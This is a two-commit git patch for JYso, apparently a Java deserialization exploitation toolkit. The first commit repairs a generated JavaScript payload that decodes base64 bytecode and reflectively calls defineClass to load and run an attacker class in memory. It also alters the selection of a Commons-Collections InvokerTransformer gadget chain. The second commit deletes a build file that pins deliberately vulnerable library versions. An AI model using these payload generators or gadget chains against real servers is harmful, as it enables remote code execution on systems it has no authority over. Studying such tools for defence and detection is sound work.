From 27570c23adf32aee4de92d9d879a21fc8460945e Mon Sep 17 00:00:00 2001 From: misaka Date: Tue, 10 Jun 2025 16:19:22 +0800 Subject: [PATCH 1/2] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=9C=A8=E7=89=B9?= =?UTF-8?q?=E5=AE=9A=E7=8E=AF=E5=A2=83=E4=B8=8BJSEngine=E6=97=A0=E6=B3=95?= =?UTF-8?q?=E8=8E=B7=E5=8F=96=E5=88=B0defineClass=E7=9A=84bug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- build.gradle | 2 +- src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java | 2 +- .../java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/build.gradle b/build.gradle index fdd49d8..28fb8f0 100644 --- a/build.gradle +++ b/build.gradle @@ -145,5 +145,5 @@ tasks.withType(Javadoc) { compileJava { options.compilerArgs << '-XDignore.symbol.file' options.fork = true - options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe' + options.forkOptions.executable = System.getenv("JAVA_HOME") + "\\bin\\javac.exe" } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java index b4cd137..0e85c09 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -104,7 +104,7 @@ public class Utils { if (USING_RHINO) { return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();"; } else { - return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cloader= java.lang.Thread.currentThread().getContextClassLoader();var superLoader=cloader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();var method=superLoader.getDeclaredMethod(\"defineClass\",dataBytes.getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);method.setAccessible(true);var memClass=method.invoke(cloader,dataBytes,0,dataBytes.length);memClass.newInstance();"; + return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cl= java.lang.Thread.currentThread().getContextClassLoader();var clClass = cl.getClass();var defineClassMethod = null;while (clClass != null) {try {defineClassMethod = clClass.getDeclaredMethod(\"defineClass\", dataBytes.getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);defineClassMethod.setAccessible(true);break;} catch (e) {clClass = clClass.getSuperclass();}}if (defineClassMethod != null) {var memClass = defineClassMethod.invoke(cl, dataBytes, 0, dataBytes.length);memClass.newInstance();} else {throw \"Cannot find defineClass method.\";}"; } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java index 6f07a21..b7eb349 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/cc/TransformerUtil.java @@ -59,7 +59,7 @@ public class TransformerUtil { } else if (command.startsWith("EX-") || command.startsWith("LF-")) { CtClass ctClass = generateClass(command); - if (!USING_MOZILLA_DEFININGCLASSLOADER) { + if (USING_MOZILLA_DEFININGCLASSLOADER) { // 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader // 在 NC 中可以使用 transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; From ba6c48a5a13d370885052bf9e9b306c21b519fce Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Sat, 14 Jun 2025 09:08:26 +0800 Subject: [PATCH 2/2] Delete build.gradle --- build.gradle | 149 --------------------------------------------------- 1 file changed, 149 deletions(-) delete mode 100644 build.gradle diff --git a/build.gradle b/build.gradle deleted file mode 100644 index 28fb8f0..0000000 --- a/build.gradle +++ /dev/null @@ -1,149 +0,0 @@ -plugins { - id 'java-library' - id 'maven-publish' - id 'com.gradleup.shadow' version '8.3.5' - id 'java' -} - -repositories { - mavenCentral() - maven { - url = uri('https://repo.jenkins-ci.org/releases/') - } - - maven { - url = uri('https://repo.maven.apache.org/maven2/') - } -} - -shadowJar { - archiveClassifier.set('pre') - manifest { - attributes 'Main-Class': 'com.qi4l.JYso.Starter' - } - zip64=true - //minimize() -} - -dependencies { - api libs.io.projectreactor.reactor.core - api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc - api libs.org.glassfish.tyrus.tyrus.server - api libs.org.javassist.javassist - api libs.xerces.xercesimpl - api libs.com.fasterxml.jackson.core.jackson.databind - api libs.com.teradata.jdbc.terajdbc - api libs.jboss.jboss.serialization - api libs.org.apache.wicket.wicket.util - api libs.com.vaadin.vaadin.server - api libs.org.apache.myfaces.core.myfaces.impl - api libs.rhino.js - api libs.rome.rome - api libs.com.alibaba.fastjson - api libs.com.alibaba.fastjson2.fastjson2 - api libs.org.jenkins.ci.main.remoting - api libs.org.jboss.weld.weld.core - api libs.org.jboss.remoting.jboss.remoting - api libs.org.jboss.remotingjmx.remoting.jmx - api libs.org.jboss.interceptor.jboss.interceptor.core - api libs.org.jboss.interceptor.jboss.interceptor.spi - api libs.org.python.jython.standalone - api libs.org.hibernate.hibernate.core - api libs.org.fusesource.jansi.jansi - api libs.commons.cli.commons.cli - api libs.org.apache.commons.commons.lang3 - api libs.org.apache.logging.log4j.log4j.core - api libs.org.springframework.spring.core - api libs.org.springframework.spring.beans - api libs.org.springframework.spring.web - api libs.org.springframework.spring.oxm - api libs.org.springframework.spring.tx - api libs.org.springframework.spring.jdbc - api libs.org.springframework.spring.webmvc - api libs.org.springframework.spring.aop - api libs.org.springframework.spring.context.support - api libs.org.springframework.spring.test - api libs.javax.servlet.javax.servlet.api - api libs.com.mchange.c3p0 - api libs.org.apache.tomcat.embed.tomcat.embed.core - api libs.org.ow2.asm.asm - api libs.com.unboundid.unboundid.ldapsdk - api libs.com.nqzero.permit.reflect - api libs.net.jodah.expiringmap - api libs.org.reflections.reflections - api libs.org.beanshell.bsh - api libs.io.undertow.undertow.core - api libs.io.undertow.undertow.servlet - api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec - api libs.com.beust.jcommander - api libs.org.codehaus.groovy.groovy - api libs.org.apache.commons.commons.text - api libs.org.eclipse.jetty.jetty.ant - api libs.org.apache.maven.plugins.maven.assembly.plugin - api libs.org.apache.click.click.nodeps - api libs.org.clojure.clojure - api libs.cn.hutool.hutool.all - api libs.javax.websocket.javax.websocket.api - api libs.com.caucho.resin - - implementation files('libs/jai-core-1.1.3.jar') - implementation files('libs/weblogic-server.jar') - - constraints { - implementation('commons-collections:commons-collections') { - version { - strictly '3.2.1' - } - } - implementation('org.apache.commons:commons-collections4') { - version { - strictly '4.0' - } - } - } - - implementation 'org.codehaus.castor:castor-xml:1.4.1' - implementation 'com.cedarsoftware:json-io:4.9.1' - implementation 'org.jyaml:jyaml:1.3' - implementation 'com.esotericsoftware:kryo:4.0.0' - implementation 'commons-configuration:commons-configuration:1.10' - implementation 'com.thoughtworks.xstream:xstream:1.4.9' - implementation 'org.apache.xbean:xbean-naming:4.5' - implementation 'com.rometools:rome:1.7.0' - implementation 'net.sf.json-lib:json-lib:2.4:jdk15' - implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26' - - implementation 'commons-beanutils:commons-beanutils:1.9.4' - - runtimeOnly libs.org.aspectj.aspectjweaver - compileOnly libs.org.apache.tomcat.tomcat.websocket -} - - -group = 'org.example' -version = '1.3.5.1' -description = 'JYso' -java.sourceCompatibility = JavaVersion.VERSION_1_8 - -publishing { - publications { - maven(MavenPublication) { - from(components.java) - } - } -} - -tasks.withType(JavaCompile) { - options.encoding = 'UTF-8' -} - -tasks.withType(Javadoc) { - options.encoding = 'UTF-8' -} - - -compileJava { - options.compilerArgs << '-XDignore.symbol.file' - options.fork = true - options.forkOptions.executable = System.getenv("JAVA_HOME") + "\\bin\\javac.exe" -} \ No newline at end of file